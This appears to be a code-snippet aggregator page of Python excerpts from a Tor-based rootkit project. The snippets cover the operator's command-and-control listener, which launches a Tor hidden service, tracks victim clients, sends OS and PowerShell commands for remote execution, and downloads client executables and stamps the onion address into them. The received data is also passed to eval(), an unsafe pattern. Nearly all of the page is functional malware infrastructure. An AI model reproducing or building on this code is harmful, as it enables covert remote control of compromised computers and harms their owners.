Exemple #1
0
 def __help_menu(self):
     Style.pos_sys_msg('Listener Shell Commands:\n')
     print('help   - shows this help menu')
     print(
         'list   - lists all client connections and checks if they are active'
     )
     print('select - start client shell by index')
     print('^C     - exits the listener')
Exemple #2
0
 def __del__(self):
     try:
         self.tor_hidden_service.tor_process.terminate()
     except AttributeError:
         pass
     else:
         Style.neg_sys_msg('Terminated Tor Process')
     finally:
         Style.neg_sys_msg('Exiting')
def append_address(onion, port):
    port = str(port)
    for path in ['/executables/client_linux', '/executables/client_win.exe']:
        with open(path, 'a') as file:
            file.write(onion)
            # add padding to always use the same amount of bytes
            if len(port) < 5:
                rest = 5 - len(port)
                port = rest * '0' + port
            file.write(port)
    Style.pos_sys_msg('Appended onion address and port to executables')
Exemple #4
0
 def create(self) -> socket.socket:
     try:
         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
         sock.bind(('127.0.0.1', self.__port))
         sock.listen(self.MAX_CONNECTIONS)
     except socket.error as error:
         Style.neg_sys_msg(error)
         sys.exit(1)
     else:
         Style.pos_sys_msg(
             'Created socket and bound to hidden service forward port')
         return sock
Exemple #5
0
 def send(self, task, args):
     """
     The Listener always sends a dictionary containing,
     A task and a list of optional arguments.
     """
     try:
         data = {'task': task, 'args': args}
         data = str(data)
         self.__conn.send(data.encode('utf-8'))
     except socket.error as error:
         Style.neg_sys_msg('Error while sending: {}'.format(error))
         sys.exit(1)
     else:
         Style.pos_sys_msg('==> send {} bytes'.format(sys.getsizeof(data)))
Exemple #6
0
    def __init__(self, name, listener_port, forward_port):
        self.name = name
        # listen and forward port configured in /etc/tor/torrc
        self.listener_port = listener_port
        self.forward_port = forward_port

        # create hidden service directory
        if not os.path.isdir(self.BASE_DIR):
            os.mkdir(self.BASE_DIR)
            # the owner has full permissions over dir (equivalent to chmod 700)
            os.chmod(self.BASE_DIR, stat.S_IRWXU)

        ps = ProgressSpinner('Starting Tor Process')
        ps.start()
        self.tor_process = self.launch()
        ps.stop()
        print()
        Style.pos_sys_msg('Onion: {}'.format(self.get_onion_address()))
Exemple #7
0
 def receive(self, buffer_size):
     """
     The client always sends back the output of the current task,
     and the current working directory as a dictionary.
     """
     try:
         data = self.__conn.recv(buffer_size)
         if len(data) <= 0:
             return -1, -1
         num_bytes = sys.getsizeof(data)
         data = data.decode('utf-8')
         data = eval(data)
     except socket.error as error:
         Style.neg_sys_msg('Error while receiving: {}'.format(error))
         self.__conn.close()
         return -1, -1
     else:
         Style.pos_sys_msg('<== received {} bytes'.format(num_bytes))
         return data['output'], data['cwd']
def download_executables():
    ps = ProgressSpinner('Downloading sample executables')
    ps.start()

    client_linux = requests.get(
        'https://github.com/emcruise/TorRootkit/releases/download/linux-latest/client'
    )
    client_win = requests.get(
        'https://github.com/emcruise/TorRootkit/releases/download/win-latest/client.exe'
    )

    ps.stop()
    print()
    Style.pos_sys_msg('Download complete')

    with open('/executables/client_linux', 'wb') as client_linux_file:
        client_linux_file.write(client_linux.content)
    with open('/executables/client_win.exe', 'wb') as client_win_file:
        client_win_file.write(client_win.content)
Exemple #9
0
 def launch(self):
     try:
         tor_process = stem.process.launch_tor_with_config(
             config={
                 'SocksListenAddress':
                 '127.0.0.1:{}'.format(self.TOR_SOCKS_PORT),
                 'SocksPort':
                 '{}'.format(self.TOR_SOCKS_PORT),
                 'HiddenServiceDir':
                 '{}'.format(self.BASE_DIR),
                 'HiddenServiceVersion':
                 '3',
                 'HiddenServicePort':
                 '{} 127.0.0.1:{}'.format(self.listener_port,
                                          self.forward_port)
             })
     except Exception as error:
         Style.neg_sys_msg('Error while starting tor: {}'.format(error))
         sys.exit(1)
     return tor_process
Exemple #10
0
 def execute(self, command) -> int:
     """
     Executes the user input from the client shell.
     Returns 0 if there is expected output that should be received from the socket,
     returns -1 if there is no expected output and -2 to exit the shell.
     """
     if command == 'help':
         Style.pos_sys_msg('Client Shell Commands:\n')
         print('help           - shows this help menu')
         print('os <command>   - executes <command> on the remote system')
         print('pwsh <command> - executes <command> on the remote system in powershell')
         print('background     - Backgrounds the current shell and returns to listener')
         print('^C             - exits the client shell and closes connection to client')
         return -1
     elif command == '':
         return -1
     elif command[:2] == 'os':
         self.client.send('EXECUTE', [command[3:]])
     elif command[:4] == 'pwsh':
         self.client.send('POWERSHELL', [command[5:]])
     elif command == 'exit':
         Style.pos_sys_msg('Exiting client shell')
         self.client.send('EXIT', [])
         return -2
     elif command == 'background':
         return -2
     else:
         Style.neg_sys_msg('Command not recognized')
         return -1
     return 0
Exemple #11
0
 def __list_clients(self):
     index = 0
     for client in self.listener_socket.get_clients():
         try:
             client.send('ACTIVE', [])
             data, cwd = client.receive(1024)
             if data == -1 and cwd == -1:
                 Style.neg_sys_msg('Client {} inactive'.format(index))
         except socket.error:
             Style.neg_sys_msg('Client {} inactive'.format(index))
         else:
             if data == 'ACTIVE':
                 Style.pos_sys_msg('Client {} active'.format(index))
             else:
                 Style.neg_sys_msg('Client {} inactive'.format(index))
         index += 1
Exemple #12
0
 def run(self):
     """
     The core part of the listener shell.
     Runs endlessly unless an exception occurs or exit is entered.
     """
     Style.pos_sys_msg('Starting shell with client')
     # initialize cwd for shell
     self.client.send('', '')
     output, cwd = self.client.receive(1024)
     if output == -1 and cwd == -1:
         return
     while True:
         try:
             command = input('{} > '.format(cwd))
         except KeyboardInterrupt:
             print()
             _ = self.execute('exit')
             Style.pos_sys_msg('Closed connection to client')
             break
         # determine if output needs to be send to not interrupt socket cycle
         execution_status = self.execute(command)
         # nothing needs to be send
         if execution_status == -1:
             continue
         # socket needs to be used to receive command output
         elif execution_status == 0:
             # receive the client output
             output, cwd = self.client.receive(self.BUFFER_SIZE)
             if output == -1 and cwd == -1:
                 break
             print(output)
         # exit client shell
         elif execution_status == -2:
             break
         else:
             raise ValueError(
                 'Output of self.execute should be 0, -1 or -2.')
Exemple #13
0
 def run(self):
     while True:
         try:
             self.__command = input('listener > ')
         except KeyboardInterrupt:
             print()
             break
         if self.__command != '':
             command_function_map = {
                 'exit': self.__exit_shell,
                 'help': self.__help_menu,
                 'list': self.__list_clients,
                 'select': self.__start_client_shell,
                 'del': self.__delete_client
             }
             func = command_function_map.get(
                 self.__command.split(" ")[0],
                 lambda: Style.neg_sys_msg('Command unknown'))
             func()
Exemple #14
0
 def run(self):
     """
     The <start> method runs as a thread and endless.
     It handles all incoming client connections and stores the according
     client objects in <self.__clients>.
     """
     Style.pos_sys_msg('Listening for clients')
     while True:
         try:
             client_objects = self.__sock.accept()
             client = Client(client_objects)
             self.__clients.append(client)
             Style.client_connect_msg()
         except socket.error as error:
             Style.neg_sys_msg(error)
             sys.exit(1)
Exemple #15
0
    def execute(self, command):
        if command == '':
            pass

        elif command == 'exit':
            sys.exit(0)

        elif command == 'help':
            Style.pos_sys_msg('Listener Shell Commands:\n')
            print('help   - shows this help menu')
            print('list   - lists all client connections and checks if they are active')
            print('select - start client shell by index')
            print('^C     - exits the listener')

        elif command == 'list':
            index = 0

            for client in self.listener_socket.get_clients():
                try:
                    client.send('ACTIVE', [])
                    data, cwd = client.receive(1024)
                    if data == -1 and cwd == -1:
                        Style.neg_sys_msg('Client {} inactive'.format(index))
                except socket.error:
                    Style.neg_sys_msg('Client {} inactive'.format(index))
                else:
                    if data == 'ACTIVE':
                        Style.pos_sys_msg('Client {} active'.format(index))
                    else:
                        Style.neg_sys_msg('Client {} inactive'.format(index))
                index += 1

        elif command[:6] == 'select':
            index = int(command[7])
            client = self.listener_socket.get_client(index)
            shell = ClientShell(client)
            shell.run()

        elif command[:3] == 'del':
            index = int(command[4])
            self.listener_socket.del_client(index)

        else:
            Style.neg_sys_msg('Command unknown')
Exemple #16
0
 def get_client(self, index):
     try:
         return self.__clients[index]
     except IndexError:
         Style.neg_sys_msg('Client Index out of range.')
Exemple #17
0
 def del_client(self, index):
     try:
         del (self.__clients[index])
     except IndexError:
         Style.neg_sys_msg('Client Index out of range.')